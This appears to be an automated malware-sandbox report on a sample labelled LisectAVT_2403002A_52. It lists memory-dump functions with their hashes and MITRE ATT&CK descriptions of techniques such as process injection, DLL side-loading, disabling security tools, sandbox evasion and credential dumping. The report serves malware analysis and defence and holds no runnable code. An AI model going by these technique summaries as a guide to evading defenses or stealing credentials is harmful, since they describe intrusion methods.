Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c6b80bcbe99013ac8e336b87ff214b2ae06b737704186f2a1ec3602a4638fbd
Instruction ID: 19da994a4c42b1aaa59fa603a2716c847bee138aad346eb8304f26165461b468
Opcode Fuzzy Hash: 3c6b80bcbe99013ac8e336b87ff214b2ae06b737704186f2a1ec3602a4638fbd
Instruction Fuzzy Hash: 71314D30E102099BCB59DF65D8A469FBBB6AF89300F208529E916EB350DB71E946CB50

Function 06643B91 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2976ab7cd4dab30fa293db33546b0948ce56bd809985bc117ee1aa8aa88c69bb
Instruction ID: 001ba363e2c87bcadee32d3889e2d671ba7eab5073e14a001e05d7b18e5808e9
Opcode Fuzzy Hash: 2976ab7cd4dab30fa293db33546b0948ce56bd809985bc117ee1aa8aa88c69bb
Instruction Fuzzy Hash: 56219C75F05225AFDB50DF79D980AEEBBF9AB88310F108025E915FB340E730D8428B91

Function 06646DD0 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4f2437c1767949543f32a80ba532de5a9c5ca458ea6e0ed59a1c5624d0fa65a
Instruction ID: 42cd681e8daf8cc5c52681bc0cca1ee2455bb799f20a20c69c70d6c8c451d947
Opcode Fuzzy Hash: e4f2437c1767949543f32a80ba532de5a9c5ca458ea6e0ed59a1c5624d0fa65a
Instruction Fuzzy Hash: 5121C231B141449BDF54EBA9E954A9EBBFAEB85314F148435E409DB340DB30ED028B90

Function 06643BA0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5b4552ce1570d6dec92f5221e28e6db13ac05e109cc01a848c88f60266ce69c
Instruction ID: bee54b3a5bd4463da6dea8c98feda9f4fafe9c7b5472a5c1d5b9e53b79ca1410
Opcode Fuzzy Hash: f5b4552ce1570d6dec92f5221e28e6db13ac05e109cc01a848c88f60266ce69c
Instruction Fuzzy Hash: 41219075F052259FDB50EF6AD980AAEBBF9EB48710F108029E915FB350E730D9418B91

Function 00D6D1E4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4471644594.0000000000D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d6d000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24ebdbc825f996fd84c60726c58aedd3b1eec81934e1b2df611093ad1f141291
Instruction ID: 6825315304e3213dcbb9aac2a2f345bcb160071e14120da9c1783bb22bf4fa36
Opcode Fuzzy Hash: 24ebdbc825f996fd84c60726c58aedd3b1eec81934e1b2df611093ad1f141291
Instruction Fuzzy Hash: 1B212671A04344DFCB00DF14E590F26BB66FB98314F24C569D8490B256C37AD806CAB2

Function 00D6D394 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4471644594.0000000000D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d6d000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60d390a217ded6cdd107d0112f934a3f96da434c4ea23fc231a15e9be9dd85ff
Instruction ID: de26c252a13d34a573444b01158e88dfa28e894cf5ba1703afa64923d7ddaf7f
Opcode Fuzzy Hash: 60d390a217ded6cdd107d0112f934a3f96da434c4ea23fc231a15e9be9dd85ff
Instruction Fuzzy Hash: F221F571A04244DFCB04DF24E5C0B26BB66FB88314F24C569D84A4B356C73AEC46CA72

Function 00D6D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4471644594.0000000000D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d6d000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65a93806b9811adce17dc4711175bbcb7b57b9f22629897935a5481e0904725e
Instruction ID: 1bfe31011d92a312e48477112d8d9a4bccfe1298ed214678e23d6d1e09f977a1
Opcode Fuzzy Hash: 65a93806b9811adce17dc4711175bbcb7b57b9f22629897935a5481e0904725e
Instruction Fuzzy Hash: BD21F275A04244DFCB14DF24E984B26BF66FB88314F24C569E94A4B296C33BD807CAB1

Function 06643150 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c9a4e787a514ec8c20d1f33b237c566dd3d3e53715ed9738a4ca5afc9dbe271
Instruction ID: ddc58444517f419d3f04aa231baeaa8fe7a74799336b82cc28f9ac98c4da30df
Opcode Fuzzy Hash: 7c9a4e787a514ec8c20d1f33b237c566dd3d3e53715ed9738a4ca5afc9dbe271
Instruction Fuzzy Hash: A8118171E002199BCB58AB69D9805DEB7B5EF89310F108569D409FB340EE31DA41CBA1

Function 00D6D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4471644594.0000000000D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d6d000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77cce55843f2dd4d3f83c20b7fe1b3c02c8f9b2868eecce6d8df6ab02b28ac2e
Instruction ID: 89efa264226bf72cd4aca705b25faf979f7f670ca372eba43196836e5f23193f
Opcode Fuzzy Hash: 77cce55843f2dd4d3f83c20b7fe1b3c02c8f9b2868eecce6d8df6ab02b28ac2e
Instruction Fuzzy Hash: 2B2162755093C08FDB12CF24D994715BF72EB46314F28C5EAD8498F6A7C33A980ACB62

Function 06643CB0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fac8aec202639a3327ba9e531d037c640a41a1ee18eae5755ea193e4af07ddac
Instruction ID: b3708c207882a3bff23466a908d0140da942a99665db9539105d1ac46bc6c166
Opcode Fuzzy Hash: fac8aec202639a3327ba9e531d037c640a41a1ee18eae5755ea193e4af07ddac
Instruction Fuzzy Hash: 45118032B141295FDB54AA79DC146AF73EAEBC9710F00853AD40AEB344EE65DC068BD1

Function 06643EE8 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec84b3b5fe3e1870c9d67fbe8de8767ca865766ec682d54880eec8cb49d488bb
Instruction ID: cffcc0ed23f745c7a4ae0abdc1cdb3d6167e3861e975d6edec281e84023e4b06
Opcode Fuzzy Hash: ec84b3b5fe3e1870c9d67fbe8de8767ca865766ec682d54880eec8cb49d488bb
Instruction Fuzzy Hash: 4C01F131B011110BDBA1A6BEE51476BABEACBCA722F14843AF50EDB391DA25DC064391

Function 0664EE5F Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dec05e6488404c4a757d2d3a8a44101fb1871e9970dbdf7ed7eb25b19384b881
Instruction ID: 4986ba2c30c15933e04453c46078dd766e492f7c30bd8e5fcef6f9ea7f2c956f
Opcode Fuzzy Hash: dec05e6488404c4a757d2d3a8a44101fb1871e9970dbdf7ed7eb25b19384b881
Instruction Fuzzy Hash: B001FC31B105501BCB65A63DD891B2F7BD6E7CA710F148879F50EC7381DD16DC068392

Function 06643CA2 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6cfb6738842667e8093c6c541199425740ffb195f31bf0ed7673f982e76a2d2
Instruction ID: c273cd1180b5f437cc5a0245458feb4b98567159572ec68c672630d34d223ce0
Opcode Fuzzy Hash: f6cfb6738842667e8093c6c541199425740ffb195f31bf0ed7673f982e76a2d2
Instruction Fuzzy Hash: 2001DF32F141295BEB55AA7DDC147EF77AAEBC9310F04443AD50AE7380EF2188068BD2

Function 00D6D1DF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4471644594.0000000000D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d6d000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction ID: 1fe1cd9da8c3a8e59204d832decbe9705ac95a18680f4d3010379d1b806fa7b4
Opcode Fuzzy Hash: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction Fuzzy Hash: AE11C475904280DFDB12CF14E5D4B15FF72FB88324F28C6A9D8494B656C33AD80ACBA2

Function 00D6D38F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4471644594.0000000000D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d6d000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: e4330f865f1c1bf7ab085a5d31e3b825d7192cd44d92cc5294db32065c3296cf
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: E711D075A04280DFCB01CF14D5C4B15BF72FB84314F28C6A9D8494B652C33AE84ACB62

Function 0664A3D2 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 840470f69278de6c12c892c812ba96b04c91d731c79ffac01fbe5d2b3a68956f
Instruction ID: 1bb79001948cdd1d5aadb7b0d113e78d4b21f233e5c4d5f629f70af439e76773
Opcode Fuzzy Hash: 840470f69278de6c12c892c812ba96b04c91d731c79ffac01fbe5d2b3a68956f
Instruction Fuzzy Hash: DE01D430B041501FDBA2A6BCE955B6F7BD5DB86704F108869F10ECB3A9EE25DD028761

Function 06643EF8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ecaf7da6423a4029fa45372fc535339d34f3f74c544cdd63fc387bf0e501dc0
Instruction ID: c3a1f43f6ac063cee5f9ced351fb38869e90bcb69f19857519bcd586d9c64ee0
Opcode Fuzzy Hash: 3ecaf7da6423a4029fa45372fc535339d34f3f74c544cdd63fc387bf0e501dc0
Instruction Fuzzy Hash: AF01D131B101100BDBA4A56EE40472BB7EACBCA721F20843AF90ED7394DE61DD024391

Function 0664EE70 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28a1bd82c4780eacbbd9b85e5bc0c02ba2a0a59cec8b9a984c08cf6c29df3f92
Instruction ID: 5c4975b00156af8b663b7f728f5bc1bbe3c48a75a030f800ba9d31f14a7927ff
Opcode Fuzzy Hash: 28a1bd82c4780eacbbd9b85e5bc0c02ba2a0a59cec8b9a984c08cf6c29df3f92
Instruction Fuzzy Hash: 3401AF31B105144BDB65AA3DD894B2F7BDAEBCA711F108839F50ECB340EE26DC028391

Function 0664A3E0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb242767479a0e09604346b0c65566483ff3f227f371cab9f394f1e711557637
Instruction ID: 5503e65e5bee56ca5239e15b294b164504a2acda9405e52eef9e06d7bf06a9d8
Opcode Fuzzy Hash: bb242767479a0e09604346b0c65566483ff3f227f371cab9f394f1e711557637
Instruction Fuzzy Hash: F401F430B000141BDB61EABCE944B2F77D9DB8A714F108438E50ECB358EE25DC0287A1

Function 0664C8B0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a7806af4cf2adca36e356c573042c823edd3e77b9f9c8073299236fc6c95a03
Instruction ID: 6a5dc3adaf270444b210a14775274b076bf38f97a8a79f19b5c5e71e7d4a4a9c
Opcode Fuzzy Hash: 7a7806af4cf2adca36e356c573042c823edd3e77b9f9c8073299236fc6c95a03
Instruction Fuzzy Hash: EEF0A732E212689BDF14A975DC00A9AB73AEB85354F104429DD01E7344D631A855CBD0

Function 06646540 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a08746f123d371cdffd1f6aeeb108c1da1ec75de2dccd887035c040221f0baae
Instruction ID: b05727ff024ad944b00a63ee690437a9b16a3320d71b4443e84f6d313fd82764
Opcode Fuzzy Hash: a08746f123d371cdffd1f6aeeb108c1da1ec75de2dccd887035c040221f0baae
Instruction Fuzzy Hash: 0BF09B71E05284BFDB61DA74D94965B7FB9DB42314F2045B6D408CB252E535CE41C351

Function 06646550 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82565eebd83bffce6bea1bd5b4002266f047242f662974c57d004e09e824686e
Instruction ID: 514b8f2b5b70cf3ab32c666d5e95f666ca468fc160f25f5c24c3ab5dae2a5e48
Opcode Fuzzy Hash: 82565eebd83bffce6bea1bd5b4002266f047242f662974c57d004e09e824686e
Instruction Fuzzy Hash: 6EE01271E11208ABDF50EEB4C94975A77BDE702214F2084A5D409C7306E576DE01C784

Non-executed Functions

Function 06647768 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$]q, xrefs: 06647873
$]q, xrefs: 06647C30
$]q, xrefs: 06647CCF
$]q, xrefs: 06647CF1
$]q, xrefs: 06647CE5
$]q, xrefs: 066478B0
$]q, xrefs: 066478A4
$]q, xrefs: 06647C3C
$]q, xrefs: 06647CDB
$]q, xrefs: 0664787F

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-2843079600
Opcode ID: bdb4b0602f347bf7dc7ebb5f3a98496d286b6a198b23ede3a8a4cc06d863f75a
Instruction ID: 549fad16c0c0168bbd34a06024d6eba819171e9fc25acc876a49bee2cc3eca75
Opcode Fuzzy Hash: bdb4b0602f347bf7dc7ebb5f3a98496d286b6a198b23ede3a8a4cc06d863f75a
Instruction Fuzzy Hash: F6122E30E10219CFDB68EF69D994A9DBBB6FF88304F208969D409AB354DB309D45CF91

Function 0664AA08 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$]q, xrefs: 0664AB90
$]q, xrefs: 0664ABBA
$]q, xrefs: 0664AB84
$]q, xrefs: 0664AAFE
$]q, xrefs: 0664AB0A
$]q, xrefs: 0664AB65
$]q, xrefs: 0664ABC6
$]q, xrefs: 0664AB59

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: 5a649c7ad14b58780079f0effad7c24b46ebadce20962f065930d7ab7f8d48ca
Instruction ID: 61d5d7d3ed15e31245c5411b972a6371df959526735a369b42bca375efd68d25
Opcode Fuzzy Hash: 5a649c7ad14b58780079f0effad7c24b46ebadce20962f065930d7ab7f8d48ca
Instruction Fuzzy Hash: C1917230A40209EFDB98EFA8D594B6E77F6FF44300F108429D8459B398DB749C45CB90

Function 06647168 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$]q, xrefs: 0664767C
$]q, xrefs: 066474A4
$]q, xrefs: 06647604
$]q, xrefs: 06647670
$]q, xrefs: 066474B0
.5uq, xrefs: 066471C3
$]q, xrefs: 0664744A

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: .5uq$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-981061697
Opcode ID: 9f7c2857499bf82a31a767d8c328432ca13f044e2df0316543b4137200e3ad58
Instruction ID: caff3e8080ed9bdc9f6a92b1946986f900ac94ca2436a755e69d51a09087bfa6
Opcode Fuzzy Hash: 9f7c2857499bf82a31a767d8c328432ca13f044e2df0316543b4137200e3ad58
Instruction Fuzzy Hash: D8F15C30A05208CFDB58EF69D594A6EBBB7FF88340F248568D4459B369DB34EC46CB90

Function 066484A0 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$]q, xrefs: 0664875F
$]q, xrefs: 066486FA
$]q, xrefs: 06648706
$]q, xrefs: 0664876B

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 4d5fc5aa92d68034743b18aa24dd999694d3881db5d507d35035475f8782bb45
Instruction ID: 4e07836175ad727b6ebf9034fad19fcc5aa4792c7d040d96d5d098140acce943
Opcode Fuzzy Hash: 4d5fc5aa92d68034743b18aa24dd999694d3881db5d507d35035475f8782bb45
Instruction Fuzzy Hash: D4B15C30E012188FDB58EF68C59466EBBB6FF84304F24882DD4069B355DB35DC86CB90

Function 066488B8 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$]q, xrefs: 06648943
LR]q, xrefs: 066489AB
$]q, xrefs: 06648937
LR]q, xrefs: 066489FA

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: LR]q$LR]q$$]q$$]q
API String ID: 0-3527005858
Opcode ID: 9cbdea8735d4360dc22de809ffe3054d4516dcdc0ca30c6f4d2952abf77b1ac4
Instruction ID: bd7cd0ebf5312c8bfa53bc60502668cc04ff85383cdab972c5f479fd35568066
Opcode Fuzzy Hash: 9cbdea8735d4360dc22de809ffe3054d4516dcdc0ca30c6f4d2952abf77b1ac4
Instruction Fuzzy Hash: 9B51C330B042059FDB58EF28D980A6A77E6FF89700F14896DE8069F3A5DB71EC45CB91

Function 0664AD92 Relevance: 5.2, Strings: 4, Instructions: 166COMMON

Download Yara Rule

Strings

$]q, xrefs: 0664AEC1
$]q, xrefs: 0664AF14
$]q, xrefs: 0664AF6C
$]q, xrefs: 0664AF43

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: a3ade00a5710be7ce70eb038a19b13e335b735efbc678f2e86febeca8c8640b7
Instruction ID: b314644b5a04b399524515cb0e5bd971f874a555b53582075e0025d2a1417f92
Opcode Fuzzy Hash: a3ade00a5710be7ce70eb038a19b13e335b735efbc678f2e86febeca8c8640b7
Instruction Fuzzy Hash: 1C51B370E51205AFCFA5FFA8D580AAEB7B6EB88301F10852AD815DB358DB31DC42CB51

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

